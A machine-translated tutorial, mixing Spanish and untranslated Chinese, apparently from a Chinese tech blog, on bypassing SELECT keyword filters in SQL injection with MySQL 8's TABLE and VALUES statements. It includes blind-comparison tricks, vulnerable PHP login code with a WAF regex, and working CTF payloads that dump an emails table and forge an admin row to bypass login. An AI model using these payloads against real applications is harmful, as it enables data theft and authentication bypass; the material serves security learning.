Las explicaciones detalladas lo llevan a aprender la inyección de características de MYSQL8

Este artículo participa en la actividad "Discusión del tema técnico 19 sobre tecnología de bases de datos" .

prefacio

Lo que les traigo hoy es la inyección de características de la versión MYSQL8, deben estar familiarizados con la inyección SQL, pero ¿alguna vez pensaron en cómo ejecutar sentencias SQL cuando se filtra la función más crítica SELECCIONAR en la inyección SQL?, esto es lo que este artículo va a hablar de, es decir, utilizar las funciones de la versión MYSQL8 para evitar la inyección de palabras clave.

conocimiento básico

Debido a que la configuración de MYSQL8 no es el enfoque de este artículo, puede consultar el siguiente enlace para configurarlo usted mismo:

www.cnblogs.com/2020javamia…

mesa

Documentación oficial:

dev.mysql.com/doc/refman/…

La función de tabla es una función recién agregada en la versión MYSQL8 . Su función es similar a la función de selección . Su función es listar toda la información en la tabla. La sintaxis estándar es la siguiente:

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
复制代码

Si usamos la función de tabla para consultar el contenido de la tabla de usuarios , se puede usar la siguiente declaración:

table users;
复制代码

foto.png

Podemos ver que la función de tabla puede ser equivalente a la siguiente declaración de consulta regular:

select * from users;
复制代码

Los resultados de la consulta de las dos declaraciones anteriores son consistentes. Al mismo tiempo, la tabla admite la consulta conjunta UNION , ORDER BY y otras restricciones, pero la diferencia entre esta y SELECT se puede resumir en los dos puntos siguientes:

1. Cuando usamos la declaración de la tabla para consultar, siempre se muestran todas las columnas de la tabla.

2. No podemos usar la cláusula where para limitar una línea específica.

valores

Documentación oficial:

dev.mysql.com/doc/refman/…

MYSQL8中另一个新增的函数,用法可以概括为函数后跟一个或多个行构造函数列表,可以构造一个表,规范语法如下:

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]
row_constructor_list:
    ROW(value_list)[, ROW(value_list)][, ...]
value_list:
    value[, value][, ...]
column_designator:
    column_index
复制代码

比如我们要用values函数构造一个表,可以参考下面图片理解:

foto.png

需要我们注意的是,values函数可以配合联合查询来达到SQL注入的效果,例如:

select * from user union VALUES ROW(2,3)
复制代码

比较特性

了解了上面两个函数之后,下面来说一下MYSQL中的比较特性,该特性是我们在进行MYSQL8特性盲注中必须要理解的点,我们通过下面语句去查询表(利用TABLESPACES_EXTENSIONS):

table information_schema.TABLESPACES_EXTENSIONS limit 6,1;
复制代码

查询到了以下的内容:

foto.png

假设我们用小于号去进行比较:

select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
复制代码

返回了数据为1,之后我们再用u的后面一位进行比较:

select (('v','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
复制代码

返回了数据为0,这时我们会思考为什么字母为u时返回了数据1,毕竟比较后为等于,这里利用了特性,因为我们字符u比较后为小于等于,所以我们需要将比较后结果字符的ASCII码减1才是真正的结果,所以我们在进行注入时得出的结果要将其ASCII码减1后转换。我们再看下面的例子:

select (('数据','','')<(table users.users limit 0,1));
复制代码

我们通过上面的语句去进行字段数据的爆破,参考下面的图:

foto.png

我们在整型的地方输入了字符型的数据,比较时字符型会被强制转换成了整形,可以看到爆出了第一位数据为1,但需要注意当我们用下面查询语句进行注入:

select (('1xino','','')<(table users.users limit 0,1));
复制代码

返回的数据还是1,这就很奇怪了,说以我们要注意因为字符型与整型比较会存在强制转换,所以比较会一直持续下去,我们写脚本的时候需要注意这个问题。

MYSQL8特性注入实例

实例一

我们进入实例环境给了我们如下的提示:

foto.png

Necesitamos inyectar los datos del correo electrónico y pedirnos que pasemos el parámetro id. Después de intentarlo, encontramos que la selección está filtrada, por lo que consideramos si es posible realizar la inyección de características de mysql8:

?id=8 union table emails limit 8,1 --+
复制代码

Devolvió con éxito los datos del correo electrónico a nosotros:

foto.png

Después de acceder, obtuvimos un paquete comprimido y encontramos el código fuente después de abrir:

<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}
if (isset($_GET['id'])) 
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row['username'] . "</h3><br>";
        echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
        die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd'])) 
{
    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);


    if ( !sqlWaf($passwd) )
        die('damn hacker');
    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>
复制代码

Un simple análisis requiere que cumplamos las siguientes condiciones:

$row['username'] === 'admin' 
row['passwd'] == $passwd
复制代码

Al mismo tiempo, necesitamos que el resultado de la declaración de consulta sea más grande que una fila y debe haber un usuario administrador en la tabla de usuarios . Necesitamos crear una tabla virtual. ¿Le resulta familiar? Pensamos que podríamos usar los valores función:

GET:?id=-1%20union%20table%20emails%20limit%207,1
POST:username=-1' union values row("1","admin","1")%23&passwd=1
复制代码

ejemplo dos

Después de ingresar a la instancia hay un cuadro de inicio de sesión:

foto.png

Nos dio una pista del código fuente, porque el código es demasiado largo, así que aquí están los lugares más importantes:

if (isset($_POST['username']) && isset($_POST['password'])) {    
    if (!isset($_SESSION['VerifyCode']))
            die("?");
    $username = strval($_POST['username']);
    $password = strval($_POST['password']);
    if ( !sqlWaf($password) )
        alertMes('damn hacker' ,"./index.php");
    $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
        if ( $row['username'] === 'admin' && $row['password'] )
        {
            if ($row['password'] == $password)
            {
                $message = $FLAG;
            } else {
                $message = "username or password wrong, are you admin?";
            }
复制代码

Puede ver que nos permite POST para pasar dos parámetros, nombre de usuario y contraseña . Al mismo tiempo, el siguiente WAF no nos permite usar select para consultar. Una vez que se usa la función prohibida por WAF , volverá a la principal página El contenido de WAF es el siguiente:

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}
复制代码

Las condiciones para el nombre de usuario y la contraseña son similares al Ejemplo 1, que también nos permite insertar el usuario administrador, por lo que usamos la función de característica mysql8:

username=-1' union values row("xino","admin","xino")%23&passwd=xino
复制代码

epílogo

Compartí con usted el conocimiento sobre la inyección de funciones de MYSQL8. No sé si lo ha aprendido. En resumen, la inyección de funciones de MYSQL8 todavía se desarrolla en torno a las dos nuevas funciones de MYSQL8. Los socios interesados ​​pueden crear su propio entorno para probarlo manualmente. Pruébelo, en términos generales es muy interesante. Los amigos a los que les gusta este artículo esperan apoyarlo con un clic.

Supongo que te gusta

Origin juejin.im/post/7166596259300999205
Recomendado
Clasificación